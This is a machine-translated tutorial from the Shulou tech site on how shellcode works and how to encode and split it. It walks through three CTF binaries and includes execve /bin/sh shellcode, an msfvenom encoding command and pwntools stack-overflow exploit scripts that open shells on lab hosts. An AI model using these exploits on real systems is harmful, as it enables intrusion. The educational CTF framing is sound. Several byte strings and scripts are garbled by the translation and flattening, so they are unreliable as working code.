In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-04-02 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >
Share
Shulou(Shulou.com)06/01 Report--
What is the principle and deformation of shellcode? in view of this problem, this article introduces the corresponding analysis and solution in detail, hoping to help more partners who want to solve this problem to find a more simple and feasible method.
The use of 0x00 shellcode
In the previous article, we learned how to use the execution process of stack overflow hijackers. In order to reduce the difficulty, there are obvious back doors in the demo and homework programs. However, in the real world, not every program has a back door, and even if there is, it is not so easy to find. Therefore, we need to use a custom shellcode to perform the operations we need.
First of all, we copy the demo program ~ / Openctf 2016-tyro_shellcode1/tyro_shellcode1 to the 32-bit docker environment and open the debugger for debugging and analysis. It should be noted that because the program comes with a simple anti-debugging, the following window may pop up during debugging:
At this time OK, select No (discard) in the pop-up Exception handling window to discard the SIGALRM signal.
Unlike the previous tutorial, there is no stack overflow in this program. Judging from the results of F5, the input read by the program using the read function is not even on the stack, but on a piece of memory space allocated using mmap.
By debugging, we can find that the program actually reads our input and executes our input using the call instruction. In other words, our input will be executed as assembly code.
Obviously, there is something wrong with the "12345678" that we casually enter here, and it will go wrong if we continue to execute it. However, when the program executes our input as an instruction, shellcode has a chance to use its talents.
First of all, we need to find a shellcode. We hope that shellcode can open a shell so that remote control only exposes a docker environment with port 10001 to us, and the size of the shellcode cannot exceed the parameter passed to the read function, that is, 0x20=32. We found a qualified shellcode through the famous shellcode database shell-storm.org/shellcode/ of shell-storm.org.
21 bytes of the implementation of sh shellcode, click to see that there is still code and introduction. Regardless of these introductions, we take the shellcode out and use the pwntools library to pass shellcode as input to the program, try to interact with the program using io.interactive (), and find that the shell command can be executed.
Of course, there are shellcode on shell-storm that can perform other functions such as shutdown, process bomb, read / etc/passwd, etc., you can also try it. All in all, shellcode is a piece of mysterious code that performs specific functions. So how is shellcode written and how does the specified operation be performed? Let's keep digging. Link text
The principle of 0x01 shellcode
This time we put the breakpoint directly on call eax, and then F7 follow up.
You can see that our input becomes the following assembly instruction
We can select Options- > General to increase the value of Number of opcode bytes (non-graph).
You will find that each assembly instruction corresponds to a string of hexadecimal numbers of varying lengths.
Readers who have some knowledge of assembly should know that these hexadecimal strings are called opcode. Opcode is machine code that consists of up to six fields and corresponds to assembly instructions. Or you can think of assembly instructions as "aliases" for opcode. Easy for human to read assembly language instructions, such as xor ecx, ecx, etc., are actually replaced by the assembler with hexadecimal strings according to the replacement rules of opcode and assembly instructions, and then combined with other data, and finally become the 01 string recognized and executed by CPU. Of course, disassemblers such as IDA also use substitution rules to process hexadecimal strings into assembly code. So we can directly construct the legal hexadecimal string composed of opcode string, that is, shellcode, so that the system can identify and execute, and complete the function we want. The composition of the six opcode fields and other in-depth knowledge will not be discussed here. Interested readers can consult the developer's manual or other places on the Intel website and try to look up the table and read the machine code or handwritten shellcode.
0x03 system call
As we continue to execute this code, we can find that the four registers EAX, EBX, ECX and EDX are cleared successively, EAX is assigned a value of 0XbLECX on the stack, the "/ bin//sh" string is placed on the stack, and its first address is assigned to EBX. Finally, after the execution of int 80h, warning pops up to display got SIGTRAP signal.
Click OK, continue with F 8 or F 9, and select Yes (pass to app). Then execute io.interactive () in python for manual interaction, enter any shell command such as ls, press F9 again in the IDA window, pop up another window that captures the signal, the same OK, select Yes (pass to app), and find that the shell command in the python window has been executed successfully.
So the question is, we don't have the system function in this shellcode, who achieved the effect of "system (" / bin/sh ")? In fact, through the debugging just now, you should be able to guess that it is a strange int 80h instruction. Referring to the intel developer's manual, we can see that the function of the int instruction is to call the system interrupt, so int 80h is to call the 128th interrupt. In 32-bit linux systems, this interrupt is used to call the system caller system_call (). We know that application code generally runs in protected mode for the protection of hardware and operating system kernels. The programs we use and the code we write in this mode do not have access to kernel space. But obviously we can read the input from the keyboard and save the output to a file on the hard disk by calling functions like read (), write (), and so on. So how do functions like read () and write () break through protected mode and successfully access hardware that should be managed by the kernel? The answer lies in the interrupt call of int 80h. Different kernel state operations can inform the kernel to complete different functions by setting different values to the register and then calling the same instruction int 80h. Functions that need kernel "help", such as read (), write (), system (), are encapsulated by adding some extra parameter handling, exception handling and other code around this instruction. The kernel of 32-bit linux system provides a total of 338 system calls for different functions.
Now that we know what int 80h does, let's look up the table to see how to use int 80h to implement system ("/ bin/sh"). Through http://syscalls.kernelgrok.com/, we didn't find system, but we found this.
Comparing the register values in the shellcode we use, it is easy to find that EAX = 0Xb = 11 bin//sh EBX = & ("/ bin//sh") in shellcode, ECX = EDX = 0, that is, sys_execve ("/ bin//sh", 0,0,0) is executed, and a shell is opened through the / bin/sh soft link. So we can open shell without the system function. It should be noted that with different platforms and architectures, the instructions for calling system calls, call numbers and ways of passing parameters are also different. For example, the assembly instruction of a 64-bit linux system is syscall. To call sys_execve, you need to set EAX to 0x3B, and the register for placing parameters is also different from 32-bit. For more information, please see http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64.
Deformation of 0x04 shellcode
In many cases, we try a few more shellcode, and we can always find a match that works. However, in some cases, in order to successfully write shellcode to the memory space of the attacked program, we need to modify the original shellcode to avoid mixing shellcode with special characters such as\ x00,\ x0A, or bypass other restrictions. Sometimes you even need to write your own shellcode. Let's learn how to transform shellcode using tools and manually through two examples.
First of all, we analyze the example ~ / BSides San Francisco CTF 2017-b_64_b_tuff/b-64-b-tuff. Judging from the results of F5, it is easy to know that this program will base64-encode our input and execute it as an assembly instruction. (note that the string pointer shellcode, which stores the result of base64 encoding, is strongly typed and called on the first line of return 0.)
Although the program directly gives us the opportunity to execute arbitrary code, the limitation of base64 coding requires that our input must only be composed of 0-9 characters, however, we used to drive the shellcode of shell.
"\ x31\ xc9\ xf7\ xe1\ xb0\ x0b\ x51\ x68\ x2f\ x73\ x68\ x68\ x2f\ x62\ x6e\ x89\ xe3\ xcd\ x80" obviously contains a large number of non-base64 encoded characters, even a large number of invisible characters. Therefore, we need to encode it.
Coding shellcode without changing its functionality is a tedious task, so we first consider using tools. In fact, there is an encode class in the pwntools library to do some simple coding of shellcode, but at present, the encode class is weak and can't seem to avoid too many characters, so we need to use another tool, msfVENOM. Because metasploit is included in kali, readers who use kali can use it directly.
First, let's take a look at msfvenom's help options.
Obviously, we need to execute msfvenom-l encoders to pick an encoder first
The x86/alpha_mixed in the figure can encode shellcode into mixed case code, which meets our criteria. So we configure the command parameters as follows:
Python-c'import sys; sys.stdout.write ("\ x31\ xc9\ xf7\ xe1\ xb0\ x0b\ x51\ x68\ x2f\ x73\ x68\ x68\ x2f\ x62\ x69\ x6e\ x89\ xe3\ xcd\ x80")'| msfvenom-p-e x86/alpha_mixed-a linux-f raw-a x86-platform linux BufferRegister=EAX-o payload
We need to enter shellcode ourselves, but msfvenom can only be read from stdin, so use the linux pipe operator "|" to transfer shellcode as the output of the python program from the stdout of python to the stdin of msfvenom. In addition, configure the encoder to x86/alpha_mixed, configure the target platform architecture and other information, output to the file name payload. Finally, because shellcode is called through the instruction call eax in b-64-b-tuff
So configure BufferRegister=EAX. The final output of payload is PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh7ODoaccXU8ToE2bIbNLIXcHMOpAA.
The script is as follows:
#! / usr/bin/python#coding:utf-8from pwn import * from base64 import * context.update (arch = 'i386, os =' linux', timeout = 1) io = remote ('172.17.0.2, 10001) shellcode = b64decode ("PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh7ODoaccXU8ToE2bIbNLIXcHMOpAA") print io.recv () io.send (shellcode) print io.recv () io.interactive ()
Successfully obtained shell
Although tools are easy to use, they are not omnipotent. Sometimes we can successfully write to shellcode, but the shellcode can be corrupted before or even during execution. When damage is inevitable, we need to split the shellcode manually and write code to "connect" two separate pieces of shellcode. Such as example ~ / CSAW Quals CTF 2017-pilot/pilot
The logic of this program is also very simple, there is a stack overflow in the program's main function.
Using the check script checksec check program that comes with pwntools, it is found that there are RWX segments in the program (like the file properties of linux, for the memory pages of modern operating systems managed by pages, each page also has three attributes: readable (R), writable (W) and executable (X). Only if a memory page has a readable executable property can the above data be executed as an assembly instruction, otherwise an error will occur.
After debugging and running, it is found that the RWX segment is actually the stack, and the program also leaks the stack address where the buf is located.
So our task is to find a suitable shellcode and use stack overflow to hijack RIP to shellcode for execution. So we wrote the following script
#! / usr/bin/python#coding:utf-8from pwn import * context.update (arch = 'amd64', os =' linux', timeout = 1) io = remote ('172.17.0.3, 10001) shellcode = "\ x48\ X31\ xd2\ x48\ xbb\ X2f\ X62\ x69\ x6e\ x2f\ x73\ x68\ xc1\ x08\ x53\ X48\ x89\ xe7\ X57\ X48\ x89\ xe6\ xb0\ X3b\ x0f\ x05" 0x68732f6e69622f2f#shr rbx, 0x8#push rbx#mov rdi, rsp#push rax#push rdi#mov rsi, rsp#mov al, 0x3b#syscallprint io.recvuntil ("Location:") # read to "Location:" This is followed by the leaked stack address shellcode_address_at_stack = int (io.recv () [0:14], 16) # converts the leaked stack address from a string to a numeric log.info ("Leak stack address =% x" Shellcode_address_at_stack) payload = "" payload + = shellcode # splicing shellcodepayload + = "\ x90" * (0x28-len (shellcode)) # any character is filled in the RIP saved in the stack The null instruction NOP, that is,\ x90, is selected as the stack address where the p64 (shellcode_address_at_stack) # splicing shellcode is filled with the p64 + = p64 (shellcode_address_at_stack) #, and the RIP is hijacked to that address to execute shellcodeio.send (payload) io.interactive ()
But the program crashed when it was executed.
Obviously, there is something wrong with our script. Let's download the breakpoint directly to the retn of the main function and follow it to shellcode to see what happened.
From these four pictures and the contents of the shellcode, we can see that because of the push in the execution of the shellcode, the last part will be overwritten after the execution of the push rdi, resulting in shellcode failure. So we either have to choose a shorter shellcode or modify it. In view of the fact that shellcode is difficult to find, we choose to transform it.
First of all, we will find that during the shellcode execution, only the return address and the above 24 bytes will be modified by the register value of the push stack, and the stack overflow can write up to 0x40=64 bytes to the stack. Combined with the analysis of this topic, we can see that there are still 16 bytes of space to write after the return address. According to the results shown in these four figures, the next instruction will be modified after push rdi execution, so we can consider splitting shellcode into two segments between push rax and push rdi. At this time, the shellcode fragment after push rdi is 8 bytes, less than 16 bytes, and can be accommodated.
Next we need to think about how to execute these two pieces of code together. We know that there are only a few instructions that can break the continuity of assembly code execution, call,ret and jump. The first two instructions affect the state of the register and stack, so we can only choose to use the unconditional jump jmp in the jump. We can check the Intel developer manual or other materials mentioned earlier to find the corresponding bytecode for jmp, but fortunately there is one in this program.
You can see from the figure that the bytecode of jmp short locret_400B34 is EB 05. Obviously, the bytecode for jmp short jumps (in fact, there are several jmp jumps) is EB. As for why the distance is 05 instead of 0x34-0x2D=0x07, it is because the distance is calculated from the next instruction in jmp. Therefore, by analogy, we can get that the jump distance between our two shellcode segments should be 0x18, so the byte added after the first shellcode is\ xeb\ x18, and adding two bytes is just enough to prevent the content of the first shellcode from being overwritten by the value of rdi. So the correct script is as follows:
#! / usr/bin/python#coding:utf-8from pwn import * context.update (arch = 'amd64', os =' linux', timeout = 1) io = remote ('172.17.0.3, 10001) # shellcode = "\ x48\ X31\ xd2\ x48\ xbb\ X2f\ X2f\ x62\ x69\ x6e\ x2f\ x73\ x68\ xc1\ xeb\ x08\ x53\ x48\ x89\ xe7\ X57\ x48\ x89\ xe6\ xb0\ x3b\ x0f\ x05". Because shellcode is on the stack, the top of the stack is right at\ x89\ xe6\ xb0\ x3b\ x0f\ x05 when running to push rdi. The value of rdi will overwrite this part of shellcode, resulting in execution failure. So it needs to be split # xor rdx, rdx#mov rbx, 0x68732f6e69622f2f#shr rbx, 0x8#push rbx#mov rdi, rsp#push rax#push rdi#mov rsi, rsp#mov al, 0x3b#syscallshellcode1 = "\ x48\ x31\ xd2\ x48\ xbb\ x2f\ x2f\ x62\ x6e\ x73\ x68\ x48\ xc1\ X08\ x53\ x48\ x89\ xe7\ x50" # the first part shellcode, the length is short Avoid tail contamination by push rdi # xor rdx, rdx#mov rbx, 0x68732f6e69622f2f#shr rbx, 0x8#push rbx#mov rdi, rsp#push raxshellcode1 + = "\ xeb\ x18" # use a jump to skip data contaminated by push rid Continue with part 2 shellcode to execute # jmp short $+ 18hshellcode2 = "\ x57\ x48\ x89\ xe6\ xb0\ x3b\ x0f\ x05" # part II shellcode#push rdi#mov rsi, rsp#mov al, 0x3b#syscallprint io.recvuntil ("Location:") # read to "Location:" This is followed by the leaked stack address shellcode_address_at_stack = int (io.recv () [0:14], 16) # converts the leaked stack address from a string to a numeric log.info ("Leak stack address =% x" Shellcode_address_at_stack) payload = "" payload + = shellcode1 # splice the first paragraph shellcodepayload + = "\ x90" * (0x28-len (shellcode1)) # any character is filled into the RIP saved in the stack Here we choose the empty instruction NOP, that is,\ x90, as the stack address where the filling character payload + = p64 (shellcode_address_at_stack) # splices shellcode, and hijack RIP to that address to perform the second segment of shellcodepayload + = shellcode2 # splicing, shellcodeio.send (payload) io.interactive (). This is the answer to the question about the principle of use and transformation of shellcode. I hope the above content can help you to a certain extent, if you still have a lot of doubts to be solved, you can follow the industry information channel to learn more related knowledge.
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.